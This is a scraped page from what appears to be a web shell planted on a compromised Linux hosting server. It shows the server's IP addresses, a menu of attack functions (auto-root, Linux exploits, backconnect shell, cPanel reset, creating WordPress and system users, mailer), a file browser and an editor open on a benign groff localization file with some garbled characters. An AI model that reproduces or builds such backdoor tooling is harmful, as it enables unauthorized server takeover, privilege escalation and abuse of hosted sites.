Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 13.59.69.109
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
groff /
1.22.2 /
tmac /
[ HOME SHELL ]
Name
Size
Permission
Action
mdoc
[ DIR ]
drwxr-xr-x
an-ext.tmac
3.42
KB
-rw-r--r--
an-old.tmac
13.99
KB
-rw-r--r--
an.tmac
35
B
-rw-r--r--
andoc.tmac
1.82
KB
-rw-r--r--
composite.tmac
537
B
-rw-r--r--
cp1047.tmac
2.12
KB
-rw-r--r--
cs.tmac
4.46
KB
-rw-r--r--
de.tmac
4.49
KB
-rw-r--r--
den.tmac
1016
B
-rw-r--r--
devtag.tmac
3.69
KB
-rw-r--r--
doc-old.tmac
35.44
KB
-rw-r--r--
doc.tmac
72.08
KB
-rw-r--r--
eqnrc
1.37
KB
-rw-r--r--
europs.tmac
1.63
KB
-rw-r--r--
fallbacks.tmac
1.33
KB
-rw-r--r--
fr.tmac
5.17
KB
-rw-r--r--
html-end.tmac
418
B
-rw-r--r--
html.tmac
16.02
KB
-rw-r--r--
hyphen.cs
20.73
KB
-rw-r--r--
hyphen.den
37.47
KB
-rw-r--r--
hyphen.det
36.43
KB
-rw-r--r--
hyphen.fr
27.35
KB
-rw-r--r--
hyphen.sv
33.77
KB
-rw-r--r--
hyphen.us
27.21
KB
-rw-r--r--
hyphenex.cs
291
B
-rw-r--r--
hyphenex.det
118.13
KB
-rw-r--r--
hyphenex.us
15.31
KB
-rw-r--r--
ja.tmac
1.66
KB
-rw-r--r--
latin1.tmac
2.2
KB
-rw-r--r--
latin2.tmac
2.29
KB
-rw-r--r--
latin5.tmac
2.2
KB
-rw-r--r--
latin9.tmac
2.2
KB
-rw-r--r--
man.tmac
36
B
-rw-r--r--
mandoc.tmac
39
B
-rw-r--r--
mdoc.tmac
35
B
-rw-r--r--
papersize.tmac
3.97
KB
-rw-r--r--
pic.tmac
117
B
-rw-r--r--
ps.tmac
20.07
KB
-rw-r--r--
psatk.tmac
1.05
KB
-rw-r--r--
psold.tmac
1.76
KB
-rw-r--r--
pspic.tmac
4.62
KB
-rw-r--r--
safer.tmac
196
B
-rw-r--r--
sv.tmac
4.04
KB
-rw-r--r--
trans.tmac
4.44
KB
-rw-r--r--
troffrc
1.35
KB
-rw-r--r--
troffrc-end
1.12
KB
-rw-r--r--
tty-char.tmac
5.06
KB
-rw-r--r--
tty.tmac
1.52
KB
-rw-r--r--
unicode.tmac
71
B
-rw-r--r--
www.tmac
39.77
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sv.tmac
.\" -*- mode: nroff; coding: iso-latin-1; -*- .\" .\" Swedish localization for groff .\" .\" Copyright (C) 2006, 2009 Free Software Foundation, Inc. .\" Written by Werner Lemberg (wl@gnu.org) .\" .\" This file is part of groff. .\" .\" groff is free software; you can redistribute it and/or modify it under .\" the terms of the GNU General Public License as published by the Free .\" Software Foundation, either version 3 of the License, or .\" (at your option) any later version. .\" .\" groff is distributed in the hope that it will be useful, but WITHOUT ANY .\" WARRANTY; without even the implied warranty of MERCHANTABILITY or .\" FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License .\" for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program. If not, see <http://www.gnu.org/licenses/>. .\" .\" Please send comments to groff@gnu.org. . . .\" Locale string . .ds locale swedish\" . . .\" Predefined text translations . .ds \*[locale]-abstract ABSTRAKT\" .ds \*[locale]-app Bilaga\" .ds \*[locale]-april april\" .ds \*[locale]-attribute_string av\" .ds \*[locale]-august augusti\" .ds \*[locale]-chapter_string Kapitel\" .ds \*[locale]-december december\" .ds \*[locale]-draft_string Utkast\" .ds \*[locale]-endnote_string NOTER\" .ds \*[locale]-february februari\" .ds \*[locale]-finis_string SLUT\" .ds \*[locale]-friday fredag\" .ds \*[locale]-january januari\" .ds \*[locale]-july juli\" .ds \*[locale]-june juni\" .ds \*[locale]-le Ekvationer\" .ds \*[locale]-letapp Godk\[a :]nd av:\" .ds \*[locale]-letat ATTENTION:\" .ds \*[locale]-letcn KONFIDENTIELLT\" .ds \*[locale]-letdate datum\" .ds \*[locale]-letfc V\[a :]nliga h\[a :]lsningar\" .ds \*[locale]-letns!0 Kopia till\" .ds \*[locale]-letns!1 Kopia (med att.) till\" .ds \*[locale]-letns!10 Kopia (med atts.) till\" .ds \*[locale]-letns!11 Kopia (utan atts.) till\" .ds \*[locale]-letns!12 Endast abstract till\" .ds \*[locale]-letns!13 Hela dokumentet till\" .ds \*[locale]-letns!14 CC: .ds \*[locale]-letns!2 Kopia (utan att.) till\" .ds \*[locale]-letns!3 Att.\" .ds \*[locale]-letns!4 Atts.\" .ds \*[locale]-letns!5 Enc.\" .ds \*[locale]-letns!6 Encs.\" .ds \*[locale]-letns!7 Annat f\[o :]rs\[a :]ttsblad\" .ds \*[locale]-letns!8 Brev till\" .ds \*[locale]-letns!9 Dokument till\" .ds \*[locale]-letns!copy Kopia \" space! .ds \*[locale]-letns!to " till\" .ds \*[locale]-letrn Refererande till:\" .ds \*[locale]-letsa Till vederb\[o :]rande:\" .ds \*[locale]-letsj Inneh\[a ao]ll:\" .ds \*[locale]-lf Figurer\" .ds \*[locale]-licon Inneh\[a ao]llsf\[o :]rteckning\" .ds \*[locale]-liec \Ekvation\" .ds \*[locale]-liex Uppst\[a :]llning\" .ds \*[locale]-lifg Figur\" .ds \*[locale]-litb Tabell\" .ds \*[locale]-lt Tabeller\" .ds \*[locale]-lx Uppst\[a :]llningar\" .ds \*[locale]-march mars\" .ds \*[locale]-may maj\" .ds \*[locale]-monday m\[a ao]ndag\" .ds \*[locale]-november november\" .ds \*[locale]-october oktober\" .ds \*[locale]-paper A4\" .ds \*[locale]-qrf Se kapitel \\*[Qrfh], sidan \\*[Qrfp].\" .ds \*[locale]-references Referenser\" .ds \*[locale]-revision_string Ver.\" .ds \*[locale]-rp Referenser\" .ds \*[locale]-saturday l\[o :]rdag\" .ds \*[locale]-september september\" .ds \*[locale]-sunday s\[o :]ndag\" .ds \*[locale]-thursday torsdag\" .ds \*[locale]-toc Inneh\[a ao]ll\" .ds \*[locale]-toc_header_string Inneh\[a ao]ll\" .ds \*[locale]-tuesday tisdag\" .ds \*[locale]-wednesday onsdag\" . . .\" Activate the translations . .mso trans.tmac . . .\" ms package .if r GS \{\ . \" update the date . ds DY \n[dy] \*[MO] \n[year] . \" set hyphenation flags . nr HY 8 .\} . . .\" mm package -- additional Swedish localization is done in mse.tmac . . .\" me package .if d @R \{\ . \" date update . ds td \n(dy \*(mo \n(y4 .\} . . .\" Default encoding .mso latin1.tmac . . .\" Swedish hyphenation .ss 12 0 .hy 8 .hcode � � � � .hcode � � � � .hcode � � � � .hcode � � � � . .hla sv .hpf hyphen.sv . . .\" man, mdoc and mdoc-old are intentionally left untouched: .\" usually these packages are translated in the sources of the documents. . .\" end of sv.tmac
Close